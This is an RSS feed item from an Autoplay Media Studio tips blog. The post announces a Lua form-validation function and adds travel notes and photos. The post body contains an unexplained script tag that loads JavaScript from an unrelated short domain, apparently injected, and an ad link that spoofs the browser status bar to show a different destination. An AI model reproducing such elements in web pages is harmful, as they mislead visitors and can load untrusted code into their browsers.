<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Autoplay Media Studio Examples &#38; Scripts &#187; Form Validation</title>
	<atom:link href="http://amstudio.azman.info/tag/form-validation/feed/" rel="self" type="application/rss+xml" />
	<link>http://amstudio.azman.info</link>
	<description>Samples for Autoplay Media Studio Users</description>
	<lastBuildDate>Fri, 17 Jun 2011 15:52:53 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.5</generator>
		<item>
		<title>Data Entry Validation Function</title>
		<link>http://amstudio.azman.info/2009/04/27/data-entry-validation-function/</link>
		<comments>http://amstudio.azman.info/2009/04/27/data-entry-validation-function/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 07:28:38 +0000</pubDate>
		<dc:creator>Azmanar</dc:creator>
				<category><![CDATA[Button]]></category>
		<category><![CDATA[Input]]></category>
		<category><![CDATA[LUA]]></category>
		<category><![CDATA[String Action]]></category>
		<category><![CDATA[Form Validation]]></category>

		<guid isPermaLink="false">http://amstudio.azman.info/?p=673</guid>
		<description><![CDATA[Hi, Been busy doing some work in the north of Malaysia. Helping a friend of mine starting up his Wood Plastic Composite factory. I coined it as a Save The Forest and Love Your Environment Industry. The factory transforms unwanted Rice Husks (which farmers normally burn) into multi-purpose Wood. In the midst of that, I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.dpbolvw.net/pm118y1A719PTURUQYQPRQUYTZQW" target="_blank" onmouseover="window.status='http://eset.com';return true;" onmouseout="window.status=' ';return true;"><br />
<img src="http://www.awltovhc.com/jr75tkocig156362A21326A5B28" alt="ESET Smart Security - Save 25%" border="0"/></a></p>
<p>Hi,</p>
<p>Been busy doing some work in the north of Malaysia. Helping a friend of mine starting up his Wood Plastic Composite factory. I coined it as a Save The Forest and Love Your Environment Industry. The factory transforms unwanted Rice Husks (which farmers normally burn) into multi-purpose Wood. In the midst of that, I spared some time in improving an important utility, i.e. the Data Entry Validation Function. </p>
<p>Data Entry Validation is important if we&#8217;re developing serious apps. We can use TABLES, For..Do and If..Or loops for this purpose. But in my opinion, using LUA is the easiest, fastest and efficient way. You&#8217;ll be surprised on how easy it is after looking at the codes.</p>
<p>I&#8217;m posting this function as a standalone example just in case some AMS users want to reference it for other apps.  We&#8217;ll embed this Validation function in the Email Address Book in the next topic. </p>
<div id="attachment_677" class="wp-caption aligncenter" style="width: 310px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/regex.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/regex-300x155.jpg" alt="Form Validation Functions" title="Form Validation Functions" width="300" height="155" class="size-medium wp-image-677" /></a><p class="wp-caption-text">Form Validation Functions</p></div>
<p>This example shows 4 types of validation:<br />
1. Alphabet Entries only<br />
2. Numeric Entries only<br />
3. Alphanumeric Entries only<br />
4. Email Entries only </p>
<p>The Email Validation is the most complex to do. It uses lots of String Actions and ElseIfs. There are many ways to do it. Anyhow, there might be REGEX functions out there done by AMS users just waiting to share with us. In the mean time, I&#8217;ll share what I have. </p>
<p>Please <a href="http://amstudio.azman.info/wp-login.php?redirect_to=/tag/form-validation/feed/">Login</a> or <a href="http://amstudio.azman.info/wp-login.php?action=register">Register</a> to download this file.</p>
<p>You can modify the functions according to your Validation needs. Just add or delete the characters in the LUA array to fit specific patterns that you fancy.</p>
<p><SCRIPT type="text/javascript" LANGUAGE="javascript" src="http://www.qksz.net/1e-h4m3"> </SCRIPT></p>
<p><strong>Side note:</strong><br />
I spent my spare time improving the Email Validation function at a blue-coloured wooden shack restaurant by a very clean beach at Pulau Sayak lagoon. Nice place, nice food and my 3G internet connection was very speedy there. Love it.</p>
<table>
<tr>
<td>
<div id="attachment_679" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak2.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak2-150x150.jpg" alt="The Road to Pulau Sayak" title="pulausayak2" width="150" height="150" class="size-thumbnail wp-image-679" /></a><p class="wp-caption-text">The Road to Pulau Sayak</p></div></td>
<td>
<div id="attachment_684" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak5.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak5-150x150.jpg" alt="Pulau Sayak : The blue shack" title="pulausayak5" width="150" height="150" class="size-thumbnail wp-image-684" /></a><p class="wp-caption-text">Pulau Sayak : The blue shack</p></div>
</td>
<td>
<div id="attachment_687" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak3.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak3-150x150.jpg" alt="An associate checking emails" title="pulausayak3" width="150" height="150" class="size-thumbnail wp-image-687" /></a><p class="wp-caption-text">An associate checking emails</p></div>
</td>
<tr>
<td>
<div id="attachment_691" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak4.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak4-150x150.jpg" alt="Pulau Sayak lagoon" title="pulausayak4" width="150" height="150" class="size-thumbnail wp-image-691" /></a><p class="wp-caption-text">Pulau Sayak lagoon</p></div>
</td>
<td>
<div id="attachment_693" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak1.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak1-150x150.jpg" alt="The South Side" title="pulausayak1" width="150" height="150" class="size-thumbnail wp-image-693" /></a><p class="wp-caption-text">The South Side</p></div>
</td>
<td>
<div id="attachment_694" class="wp-caption aligncenter" style="width: 160px"><a href="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak6.jpg"><img src="http://amstudio.azman.info/wp-content/uploads/2009/04/pulausayak6-150x150.jpg" alt="Anchored Fishing boats" title="pulausayak6" width="150" height="150" class="size-thumbnail wp-image-694" /></a><p class="wp-caption-text">Anchored Fishing boats</p></div>
</td>
</tr>
</table>
<div class="addtoany_share_save_container"><ul class="addtoany_list"><li><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?sitename=Autoplay%20Media%20Studio%20Examples%20%26amp%3B%20Scripts&amp;siteurl=http%3A%2F%2Famstudio.azman.info%2F&amp;linkname=Data%20Entry%20Validation%20Function&amp;linkurl=http%3A%2F%2Famstudio.azman.info%2F2009%2F04%2F27%2Fdata-entry-validation-function%2F"><img src="http://amstudio.azman.info/wp-content/plugins/add-to-any-ori/share_save_120_16.png" width="120" height="16" alt="Share/Save/Bookmark"/></a></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://amstudio.azman.info/2009/04/27/data-entry-validation-function/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

